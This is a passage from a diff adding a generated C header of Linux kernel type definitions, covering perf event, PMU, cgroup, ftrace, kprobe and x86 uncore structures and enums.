*task_ctx_cache; + void (*swap_task_ctx)(struct perf_event_pmu_context *, struct perf_event_pmu_context *); + void * (*setup_aux)(struct perf_event *, void **, int, bool); + void (*free_aux)(void *); + long int (*snapshot_aux)(struct perf_event *, struct perf_output_handle *, long unsigned int); + int (*addr_filters_validate)(struct list_head *); + void (*addr_filters_sync)(struct perf_event *); + int (*aux_output_match)(struct perf_event *); + bool (*filter)(struct pmu *, int); + int (*check_period)(struct perf_event *, u64); +}; + +struct ftrace_regs { + struct pt_regs regs; +}; + +enum ftrace_tracing_type_t { + FTRACE_TYPE_ENTER = 0, + FTRACE_TYPE_RETURN = 1, +}; + +enum ftrace_bug_type { + FTRACE_BUG_UNKNOWN = 0, + FTRACE_BUG_INIT = 1, + FTRACE_BUG_NOP = 2, + FTRACE_BUG_CALL = 3, + FTRACE_BUG_UPDATE = 4, +}; + +struct ftrace_graph_ent { + long unsigned int func; + int depth; +} __attribute__((packed)); + +struct ftrace_graph_ret { + long unsigned int func; + int depth; + unsigned int overrun; + long long unsigned int calltime; + long long unsigned int rettime; +}; + +typedef void (*trace_func_graph_ret_t)(struct ftrace_graph_ret *); + +typedef int (*trace_func_graph_ent_t)(struct ftrace_graph_ent *); + +struct perf_regs { + __u64 abi; + struct pt_regs *regs; +}; + +struct kernel_cpustat { + u64 cpustat[10]; +}; + +struct kernel_stat { + long unsigned int irqs_sum; + unsigned int softirqs[10]; +}; + +struct u64_stats_sync {}; + +struct psi_group {}; + +struct cgroup_taskset; + +struct cftype; + +struct cgroup_subsys { + struct cgroup_subsys_state * (*css_alloc)(struct cgroup_subsys_state *); + int (*css_online)(struct cgroup_subsys_state *); + void (*css_offline)(struct cgroup_subsys_state *); + void (*css_released)(struct cgroup_subsys_state *); + void (*css_free)(struct cgroup_subsys_state *); + void (*css_reset)(struct cgroup_subsys_state *); + void (*css_rstat_flush)(struct cgroup_subsys_state *, int); + int (*css_extra_stat_show)(struct seq_file *, struct cgroup_subsys_state *); + int (*can_attach)(struct cgroup_taskset *); + void (*cancel_attach)(struct cgroup_taskset *); + void (*attach)(struct cgroup_taskset *); + void (*post_attach)(); + int (*can_fork)(struct task_struct *, struct css_set *); + void (*cancel_fork)(struct task_struct *, struct css_set *); + void (*fork)(struct task_struct *); + void (*exit)(struct task_struct *); + void (*release)(struct task_struct *); + void (*bind)(struct cgroup_subsys_state *); + bool early_init: 1; + bool implicit_on_dfl: 1; + bool threaded: 1; + int id; + const char *name; + const char *legacy_name; + struct cgroup_root *root; + struct idr css_idr; + struct list_head cfts; + struct cftype *dfl_cftypes; + struct cftype *legacy_cftypes; + unsigned int depends_on; +}; + +struct cgroup_rstat_cpu { + struct u64_stats_sync bsync; + struct cgroup_base_stat bstat; + struct cgroup_base_stat last_bstat; + struct cgroup *updated_children; + struct cgroup *updated_next; +}; + +struct cgroup_root { + struct kernfs_root *kf_root; + unsigned int subsys_mask; + int hierarchy_id; + struct cgroup cgrp; + struct cgroup *cgrp_ancestor_storage; + atomic_t nr_cgrps; + struct list_head root_list; + unsigned int flags; + char release_agent_path[4096]; + char name[64]; +}; + +struct cftype { + char name[64]; + long unsigned int private; + size_t max_write_len; + unsigned int flags; + unsigned int file_offset; + struct cgroup_subsys *ss; + struct list_head node; + struct kernfs_ops *kf_ops; + int (*open)(struct kernfs_open_file *); + void (*release)(struct kernfs_open_file *); + u64 (*read_u64)(struct cgroup_subsys_state *, struct cftype *); + s64 (*read_s64)(struct cgroup_subsys_state *, struct cftype *); + int (*seq_show)(struct seq_file *, void *); + void * (*seq_start)(struct seq_file *, loff_t *); + void * (*seq_next)(struct seq_file *, void *, loff_t *); + void (*seq_stop)(struct seq_file *, void *); + int (*write_u64)(struct cgroup_subsys_state *, struct cftype *, u64); + int (*write_s64)(struct cgroup_subsys_state *, struct cftype *, s64); + ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); + __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); + struct lock_class_key lockdep_key; +}; + +struct perf_callchain_entry { + __u64 nr; + __u64 ip[0]; +}; + +typedef long unsigned int (*perf_copy_f)(void *, const void *, long unsigned int, long unsigned int); + +struct perf_raw_frag { + union { + struct perf_raw_frag *next; + long unsigned int pad; + }; + perf_copy_f copy; + void *data; + u32 size; +} __attribute__((packed)); + +struct perf_raw_record { + struct perf_raw_frag frag; + u32 size; +}; + +struct perf_branch_stack { + __u64 nr; + __u64 hw_idx; + struct perf_branch_entry entries[0]; +}; + +struct perf_event_pmu_context { + struct pmu *pmu; + struct perf_event_context *ctx; + struct list_head pmu_ctx_entry; + struct list_head pinned_active; + struct list_head flexible_active; + unsigned int embedded: 1; + unsigned int nr_events; + atomic_t refcount; + struct callback_head callback_head; + void *task_ctx_data; + int rotate_necessary; +}; + +struct perf_cpu_pmu_context { + struct perf_event_pmu_context epc; + struct perf_event_pmu_context *task_epc; + struct list_head sched_cb_entry; + int sched_cb_usage; + int active_oncpu; + int exclusive; + raw_spinlock_t hrtimer_lock; + struct hrtimer hrtimer; + ktime_t hrtimer_interval; + unsigned int hrtimer_active; +}; + +struct perf_output_handle { + struct perf_event *event; + struct perf_buffer *rb; + long unsigned int wakeup; + long unsigned int size; + u64 aux_flags; + union { + void *addr; + long unsigned int head; + }; + int page; +}; + +struct perf_addr_filter_range { + long unsigned int start; + long unsigned int size; +}; + +struct perf_sample_data { + u64 sample_flags; + u64 period; + u64 dyn_size; + u64 type; + struct { + u32 pid; + u32 tid; + } tid_entry; + u64 time; + u64 id; + struct { + u32 cpu; + u32 reserved; + } cpu_entry; + u64 ip; + struct perf_callchain_entry *callchain; + struct perf_raw_record *raw; + struct perf_branch_stack *br_stack; + union perf_sample_weight weight; + union perf_mem_data_src data_src; + u64 txn; + struct perf_regs regs_user; + struct perf_regs regs_intr; + u64 stack_user_size; + u64 stream_id; + u64 cgroup; + u64 addr; + u64 phys_addr; + u64 data_page_size; + u64 code_page_size; + u64 aux_size; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct perf_cgroup_info; + +struct perf_cgroup { + struct cgroup_subsys_state css; + struct perf_cgroup_info *info; +}; + +struct perf_cgroup_info { + u64 time; + u64 timestamp; + u64 timeoffset; + int active; +}; + +enum extra_reg_type { + EXTRA_REG_NONE = -1, + EXTRA_REG_RSP_0 = 0, + EXTRA_REG_RSP_1 = 1, + EXTRA_REG_LBR = 2, + EXTRA_REG_LDLAT = 3, + EXTRA_REG_FE = 4, + EXTRA_REG_SNOOP_0 = 5, + EXTRA_REG_SNOOP_1 = 6, + EXTRA_REG_MAX = 7, +}; + +struct event_constraint { + union { + long unsigned int idxmsk[1]; + u64 idxmsk64; + }; + u64 code; + u64 cmask; + int weight; + int overlap; + int flags; + unsigned int size; +}; + +enum { + PERF_X86_EVENT_PEBS_LDLAT = 1, + PERF_X86_EVENT_PEBS_ST = 2, + PERF_X86_EVENT_PEBS_ST_HSW = 4, + PERF_X86_EVENT_PEBS_LD_HSW = 8, + PERF_X86_EVENT_PEBS_NA_HSW = 16, + PERF_X86_EVENT_EXCL = 32, + PERF_X86_EVENT_DYNAMIC = 64, + PERF_X86_EVENT_EXCL_ACCT = 256, + PERF_X86_EVENT_AUTO_RELOAD = 512, + PERF_X86_EVENT_LARGE_PEBS = 1024, + PERF_X86_EVENT_PEBS_VIA_PT = 2048, + PERF_X86_EVENT_PAIR = 4096, + PERF_X86_EVENT_LBR_SELECT = 8192, + PERF_X86_EVENT_TOPDOWN = 16384, + PERF_X86_EVENT_PEBS_STLAT = 32768, + PERF_X86_EVENT_AMD_BRS = 65536, + PERF_X86_EVENT_PEBS_LAT_HYBRID = 131072, +}; + +struct amd_nb { + int nb_id; + int refcnt; + struct perf_event *owners[64]; + struct event_constraint event_constraints[64]; +}; + +struct er_account { + raw_spinlock_t lock; + u64 config; + u64 reg; + atomic_t ref; +}; + +struct intel_shared_regs { + struct er_account regs[7]; + int refcnt; + unsigned int core_id; +}; + +enum intel_excl_state_type { + INTEL_EXCL_UNUSED = 0, + INTEL_EXCL_SHARED = 1, + INTEL_EXCL_EXCLUSIVE = 2, +}; + +struct intel_excl_states { + enum intel_excl_state_type state[64]; + bool sched_started; +}; + +struct intel_excl_cntrs { + raw_spinlock_t lock; + struct intel_excl_states states[2]; + union { + u16 has_exclusive[2]; + u32 exclusive_present; + }; + int refcnt; + unsigned int core_id; +}; + +enum { + X86_PERF_KFREE_SHARED = 0, + X86_PERF_KFREE_EXCL = 1, + X86_PERF_KFREE_MAX = 2, +}; + +struct cpu_hw_events { + struct perf_event *events[64]; + long unsigned int active_mask[1]; + long unsigned int dirty[1]; + int enabled; + int n_events; + int n_added; + int n_txn; + int n_txn_pair; + int n_txn_metric; + int assign[64]; + u64 tags[64]; + struct perf_event *event_list[64]; + struct event_constraint *event_constraint[64]; + int n_excl; + unsigned int txn_flags; + int is_fake; + struct debug_store *ds; + void *ds_pebs_vaddr; + void *ds_bts_vaddr; + u64 pebs_enabled; + int n_pebs; + int n_large_pebs; + int n_pebs_via_pt; + int pebs_output; + u64 pebs_data_cfg; + u64 active_pebs_data_cfg; + int pebs_record_size; + u64 fixed_ctrl_val; + u64 active_fixed_ctrl_val; + int lbr_users; + int lbr_pebs_users; + struct perf_branch_stack lbr_stack; + struct perf_branch_entry lbr_entries[32]; + union { + struct er_account *lbr_sel; + struct er_account *lbr_ctl; + }; + u64 br_sel; + void *last_task_ctx; + int last_log_id; + int lbr_select; + void *lbr_xsave; + u64 intel_ctrl_guest_mask; + u64 intel_ctrl_host_mask; + struct perf_guest_switch_msr guest_switch_msrs[64]; + u64 intel_cp_status; + struct intel_shared_regs *shared_regs; + struct event_constraint *constraint_list; + struct intel_excl_cntrs *excl_cntrs; + int excl_thread_id; + u64 tfa_shadow; + int n_metric; + struct amd_nb *amd_nb; + int brs_active; + u64 perf_ctr_virt_mask; + int n_pair; + void *kfree_on_online[2]; + struct pmu *pmu; +}; + +struct extra_reg { + unsigned int event; + unsigned int msr; + u64 config_mask; + u64 valid_mask; + int idx; + bool extra_msr_access; +}; + +union perf_capabilities { + struct { + u64 lbr_format: 6; + u64 pebs_trap: 1; + u64 pebs_arch_reg: 1; + u64 pebs_format: 4; + u64 smm_freeze: 1; + u64 full_width_write: 1; + u64 pebs_baseline: 1; + u64 perf_metrics: 1; + u64 pebs_output_pt_available: 1; + u64 pebs_timing_info: 1; + u64 anythread_deprecated: 1; + }; + u64 capabilities; +}; + +struct x86_pmu_quirk { + struct x86_pmu_quirk *next; + void (*func)(); +}; + +enum { + x86_lbr_exclusive_lbr = 0, + x86_lbr_exclusive_bts = 1, + x86_lbr_exclusive_pt = 2, + x86_lbr_exclusive_max = 3, +}; + +struct x86_hybrid_pmu { + struct pmu pmu; + const char *name; + u8 cpu_type; + cpumask_t supported_cpus; + union perf_capabilities intel_cap; + u64 intel_ctrl; + int max_pebs_events; + int num_counters; + int num_counters_fixed; + struct event_constraint unconstrained; + u64 hw_cache_event_ids[42]; + u64 hw_cache_extra_regs[42]; + struct event_constraint *event_constraints; + struct event_constraint *pebs_constraints; + struct extra_reg *extra_regs; + unsigned int late_ack: 1; + unsigned int mid_ack: 1; + unsigned int enabled_ack: 1; + u64 pebs_data_source[16]; +}; + +struct x86_pmu { + const char *name; + int version; + int (*handle_irq)(struct pt_regs *); + void (*disable_all)(); + void (*enable_all)(int); + void (*enable)(struct perf_event *); + void (*disable)(struct perf_event *); + void (*assign)(struct perf_event *, int); + void (*add)(struct perf_event *); + void (*del)(struct perf_event *); + void (*read)(struct perf_event *); + int (*set_period)(struct perf_event *); + u64 (*update)(struct perf_event *); + int (*hw_config)(struct perf_event *); + int (*schedule_events)(struct cpu_hw_events *, int, int *); + unsigned int eventsel; + unsigned int perfctr; + int (*addr_offset)(int, bool); + int (*rdpmc_index)(int); + u64 (*event_map)(int); + int max_events; + int num_counters; + int num_counters_fixed; + int cntval_bits; + u64 cntval_mask; + union { + long unsigned int events_maskl; + long unsigned int events_mask[1]; + }; + int events_mask_len; + int apic; + u64 max_period; + struct event_constraint * (*get_event_constraints)(struct cpu_hw_events *, int, struct perf_event *); + void (*put_event_constraints)(struct cpu_hw_events *, struct perf_event *); + void (*start_scheduling)(struct cpu_hw_events *); + void (*commit_scheduling)(struct cpu_hw_events *, int, int); + void (*stop_scheduling)(struct cpu_hw_events *); + struct event_constraint *event_constraints; + struct x86_pmu_quirk *quirks; + void (*limit_period)(struct perf_event *, s64 *); + unsigned int late_ack: 1; + unsigned int mid_ack: 1; + unsigned int enabled_ack: 1; + int attr_rdpmc_broken; + int attr_rdpmc; + struct attribute **format_attrs; + ssize_t (*events_sysfs_show)(char *, u64); + const struct attribute_group **attr_update; + long unsigned int attr_freeze_on_smi; + int (*cpu_prepare)(int); + void (*cpu_starting)(int); + void (*cpu_dying)(int); + void (*cpu_dead)(int); + void (*check_microcode)(); + void (*sched_task)(struct perf_event_pmu_context *, bool); + u64 intel_ctrl; + union perf_capabilities intel_cap; + unsigned int bts: 1; + unsigned int bts_active: 1; + unsigned int pebs: 1; + unsigned int pebs_active: 1; + unsigned int pebs_broken: 1; + unsigned int pebs_prec_dist: 1; + unsigned int pebs_no_tlb: 1; + unsigned int pebs_no_isolation: 1; + unsigned int pebs_block: 1; + unsigned int pebs_ept: 1; + int pebs_record_size; + int pebs_buffer_size; + int max_pebs_events; + void (*drain_pebs)(struct pt_regs *, struct perf_sample_data *); + struct event_constraint *pebs_constraints; + void (*pebs_aliases)(struct perf_event *); + u64 (*pebs_latency_data)(struct perf_event *, u64); + long unsigned int large_pebs_flags; + u64 rtm_abort_event; + u64 pebs_capable; + unsigned int lbr_tos; + unsigned int lbr_from; + unsigned int lbr_to; + unsigned int lbr_info; + unsigned int lbr_nr; + union { + u64 lbr_sel_mask; + u64 lbr_ctl_mask; + }; + union { + const int *lbr_sel_map; + int *lbr_ctl_map; + }; + bool lbr_double_abort; + bool lbr_pt_coexist; + unsigned int lbr_has_info: 1; + unsigned int lbr_has_tsx: 1; + unsigned int lbr_from_flags: 1; + unsigned int lbr_to_cycles: 1; + unsigned int lbr_depth_mask: 8; + unsigned int lbr_deep_c_reset: 1; + unsigned int lbr_lip: 1; + unsigned int lbr_cpl: 1; + unsigned int lbr_filter: 1; + unsigned int lbr_call_stack: 1; + unsigned int lbr_mispred: 1; + unsigned int lbr_timed_lbr: 1; + unsigned int lbr_br_type: 1; + void (*lbr_reset)(); + void (*lbr_read)(struct cpu_hw_events *); + void (*lbr_save)(void *); + void (*lbr_restore)(void *); + atomic_t lbr_exclusive[3]; + int num_topdown_events; + void (*swap_task_ctx)(struct perf_event_pmu_context *, struct perf_event_pmu_context *); + unsigned int amd_nb_constraints: 1; + u64 perf_ctr_pair_en; + struct extra_reg *extra_regs; + unsigned int flags; + struct perf_guest_switch_msr * (*guest_get_msrs)(int *, void *); + int (*check_period)(struct perf_event *, u64); + int (*aux_output_match)(struct perf_event *); + void (*filter)(struct pmu *, int, bool *); + int num_hybrid_pmus; + struct x86_hybrid_pmu *hybrid_pmu; + u8 (*get_hybrid_cpu_type)(); +}; + +struct pci_extra_dev { + struct pci_dev *dev[4]; +}; + +struct intel_uncore_pmu; + +struct intel_uncore_ops; + +struct uncore_event_desc; + +struct freerunning_counters; + +struct intel_uncore_topology; + +struct intel_uncore_type { + const char *name; + int num_counters; + int num_boxes; + int perf_ctr_bits; + int fixed_ctr_bits; + int num_freerunning_types; + int type_id; + unsigned int perf_ctr; + unsigned int event_ctl; + unsigned int event_mask; + unsigned int event_mask_ext; + unsigned int fixed_ctr; + unsigned int fixed_ctl; + unsigned int box_ctl; + u64 *box_ctls; + union { + unsigned int msr_offset; + unsigned int mmio_offset; + }; + unsigned int mmio_map_size; + unsigned int num_shared_regs: 8; + unsigned int single_fixed: 1; + unsigned int pair_ctr_ctl: 1; + union { + unsigned int *msr_offsets; + unsigned int *pci_offsets; + unsigned int *mmio_offsets; + }; + unsigned int *box_ids; + struct event_constraint unconstrainted; + struct event_constraint *constraints; + struct intel_uncore_pmu *pmus; + struct intel_uncore_ops *ops; + struct uncore_event_desc *event_descs; + struct freerunning_counters *freerunning; + const struct attribute_group *attr_groups[4]; + const struct attribute_group **attr_update; + struct pmu *pmu; + struct intel_uncore_topology **topology; + int (*get_topology)(struct intel_uncore_type *); + void (*set_mapping)(struct intel_uncore_type *); + void (*cleanup_mapping)(struct intel_uncore_type *); +}; + +struct intel_uncore_box; + +struct intel_uncore_pmu { + struct pmu pmu; + char name[32]; + int pmu_idx; + int func_id; + bool registered; + atomic_t activeboxes; + struct intel_uncore_type *type; + struct intel_uncore_box **boxes; +}; + +struct intel_uncore_ops { + void (*init_box)(struct intel_uncore_box *); + void (*exit_box)(struct intel_uncore_box *); + void (*disable_box)(struct intel_uncore_box *); + void (*enable_box)(struct intel_uncore_box *); + void (*disable_event)(struct intel_uncore_box *, struct perf_event *); + void (*enable_event)(struct intel_uncore_box *, struct perf_event *); + u64 (*read_counter)(struct intel_uncore_box *, struct perf_event *); + int (*hw_config)(struct intel_uncore_box *, struct perf_event *); + struct event_constraint * (*get_constraint)(struct intel_uncore_box *, struct perf_event *); + void (*put_constraint)(struct intel_uncore_box *, struct perf_event *); +}; + +struct uncore_event_desc { + struct device_attribute attr; + const char *config; +}; + +struct freerunning_counters { + unsigned int counter_base; + unsigned int counter_offset; + unsigned int box_offset; + unsigned int num_counters; + unsigned int bits; + unsigned int *box_offsets; +}; + +struct uncore_iio_topology; + +struct uncore_upi_topology; + +struct intel_uncore_topology { + int pmu_idx; + union { + void *untyped; + struct uncore_iio_topology *iio; + struct uncore_upi_topology *upi; + }; +}; + +struct intel_uncore_extra_reg { + raw_spinlock_t lock; + u64 config; + u64 config1; + u64 config2; + atomic_t ref; +}; + +struct intel_uncore_box { + int dieid; + int n_active; + int n_events; + int cpu; + long unsigned int flags; + atomic_t refcnt; + struct perf_event *events[10]; + struct perf_event *event_list[10]; + struct event_constraint *event_constraint[10]; + long unsigned int active_mask[1]; + u64 tags[10]; + struct pci_dev *pci_dev; + struct intel_uncore_pmu *pmu; + u64 hrtimer_duration; + struct hrtimer hrtimer; + struct list_head list; + struct list_head active_list; + void *io_addr; + struct intel_uncore_extra_reg shared_regs[0]; +}; + +struct uncore_iio_topology { + int pci_bus_no; + int segment; +}; + +struct uncore_upi_topology { + int die_to; + int pmu_idx_to; + int enabled; +}; + +struct pci2phy_map { + struct list_head list; + int segment; + int pbus_to_dieid[256]; +}; + +struct intel_uncore_init_fun { + void (*cpu_init)(); + int (*pci_init)(); + void (*mmio_init)(); + bool use_discovery; + int *uncore_units_ignore; +}; + +typedef unsigned int insn_attr_t; + +typedef unsigned char insn_byte_t; + +typedef int insn_value_t; + +struct insn_field { + union { + insn_value_t value; + insn_byte_t bytes[4]; + }; + unsigned char got; + unsigned char nbytes; +}; + +struct insn { + struct insn_field prefixes; + struct insn_field rex_prefix; + struct insn_field vex_prefix; + struct insn_field opcode; + struct insn_field modrm; + struct insn_field sib; + struct insn_field displacement; + union { + struct insn_field immediate; + struct insn_field moffset1; + struct insn_field immediate1; + }; + union { + struct insn_field moffset2; + struct insn_field immediate2; + }; + int emulate_prefix_size; + insn_attr_t attr; + unsigned char opnd_bytes; + unsigned char addr_bytes; + unsigned char length; + unsigned char x86_64; + const insn_byte_t *kaddr; + const insn_byte_t *end_kaddr; + const insn_byte_t *next_byte; +}; + +enum insn_mode { + INSN_MODE_32 = 0, + INSN_MODE_64 = 1, + INSN_MODE_KERN = 2, + INSN_NUM_MODES = 3, +}; + +typedef u8 kprobe_opcode_t; + +struct kprobe; + +struct arch_specific_insn { + kprobe_opcode_t *insn; + unsigned int boostable: 1; + unsigned char size; + union { + unsigned char opcode; + struct { + unsigned char type; + } jcc; + struct { + unsigned char type; + unsigned char asize; + } loop; + struct { + unsigned char reg; + } indirect; + }; + s32 rel32; + void (*emulate_op)(struct kprobe *, struct pt_regs *); + int tp_len; +}; + +typedef int (*kprobe_pre_handler_t)(struct kprobe *, struct pt_regs *); + +typedef void (*kprobe_post_handler_t)(struct kprobe *, struct pt_regs *, long unsigned int); + +struct kprobe { + struct hlist_node hlist; + struct list_head list; + long unsigned int nmissed; + kprobe_opcode_t *addr; + const char *symbol_name; + unsigned int offset; + kprobe_pre_handler_t pre_handler; + kprobe_post_handler_t post_handler; + kprobe_opcode_t opcode; + struct arch_specific_insn ainsn; + u32 flags; +}; + +struct arch_optimized_insn { + kprobe_opcode_t copied_insn[4]; + kprobe_opcode_t *insn; + size_t size; +}; + +struct prev_kprobe { + struct kprobe *kp; + long unsigned int status; + long unsigned int old_flags; + long unsigned int saved_flags; +}; + +struct kprobe_ctlblk { + long unsigned int kprobe_status; + long unsigned int kprobe_old_flags; + long unsigned int kprobe_saved_flags; + struct prev_kprobe prev_kprobe; +}; + +struct kretprobe_blackpoint { + const char *name; + void *addr; +}; + +struct kprobe_insn_cache { + struct mutex mutex; + void * (*alloc)(); + void (*free)(void *); + const char *sym; + struct list_head pages; + size_t insn_size; + int nr_garbage; +}; + +struct optimized_kprobe { + struct kprobe kp; + struct list_head list; + struct arch_optimized_insn optinsn; +}; + +struct gdt_page { + struct desc_struct gdt[16]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum lockdep_lock_type { + LD_LOCK_NORMAL = 0, + LD_LOCK_PERCPU = 1, + LD_LOCK_MAX = 2, +}; + +enum { + UNAME26 = 131072, + ADDR_NO_RANDOMIZE = 262144, + FDPIC_FUNCPTRS = 524288, + MMAP_PAGE_ZERO = 1048576, + ADDR_COMPAT_LAYOUT = 2097152, + READ_IMPLIES_EXEC = 4194304, + ADDR_LIMIT_32BIT = 8388608, + SHORT_INODE = 16777216, + WHOLE_SECONDS = 33554432, + STICKY_TIMEOUTS = 67108864, + ADDR_LIMIT_3GB = 134217728, +}; + +enum tlb_infos { + ENTRIES = 0, + NR_INFO = 1, +}; + +enum hrtimer_base_type { + HRTIMER_BASE_MONOTONIC = 0, + HRTIMER_BASE_REALTIME = 1, + HRTIMER_BASE_BOOTTIME = 2, + HRTIMER_BASE_TAI = 3, + HRTIMER_BASE_MONOTONIC_SOFT = 4, + HRTIMER_BASE_REALTIME_SOFT = 5, + HRTIMER_BASE_BOOTTIME_SOFT = 6, + HRTIMER_BASE_TAI_SOFT = 7, + HRTIMER_MAX_CLOCK_BASES = 8, +}; + +enum node_states { + N_POSSIBLE = 0, + N_ONLINE = 1, + N_NORMAL_MEMORY = 2, + N_HIGH_MEMORY = 2, + N_MEMORY = 3, + N_CPU = 4, + N_GENERIC_INITIATOR = 5, + NR_NODE_STATES = 6, +}; + +enum { + MM_FILEPAGES = 0, + MM_ANONPAGES = 1, + MM_SWAPENTS = 2, + MM_SHMEMPAGES = 3, + NR_MM_COUNTERS = 4, +}; + +enum rseq_cs_flags_bit { + RSEQ_CS_FLAG_NO_RESTART_ON_PREEMPT_BIT = 0, + RSEQ_CS_FLAG_NO_RESTART_ON_SIGNAL_BIT = 1, + RSEQ_CS_FLAG_NO_RESTART_ON_MIGRATE_BIT = 2, +}; + +enum { + TASK_COMM_LEN = 16, +}; + +struct ww_acquire_ctx; + +struct mutex_waiter { + struct list_head list; + struct task_struct *task; + struct ww_acquire_ctx *ww_ctx; + void *magic; +}; + +enum rseq_event_mask_bits { + RSEQ_EVENT_PREEMPT_BIT = 0, + RSEQ_EVENT_SIGNAL_BIT = 1, + RSEQ_EVENT_MIGRATE_BIT = 2, +}; + +enum migratetype { + MIGRATE_UNMOVABLE = 0, + MIGRATE_MOVABLE = 1, + MIGRATE_RECLAIMABLE = 2, + MIGRATE_PCPTYPES = 3, + MIGRATE_HIGHATOMIC = 3, + MIGRATE_CMA = 4, + MIGRATE_ISOLATE = 5, + MIGRATE_TYPES = 6, +}; + +enum numa_stat_item { + NUMA_HIT = 0, + NUMA_MISS = 1, + NUMA_FOREIGN = 2, + 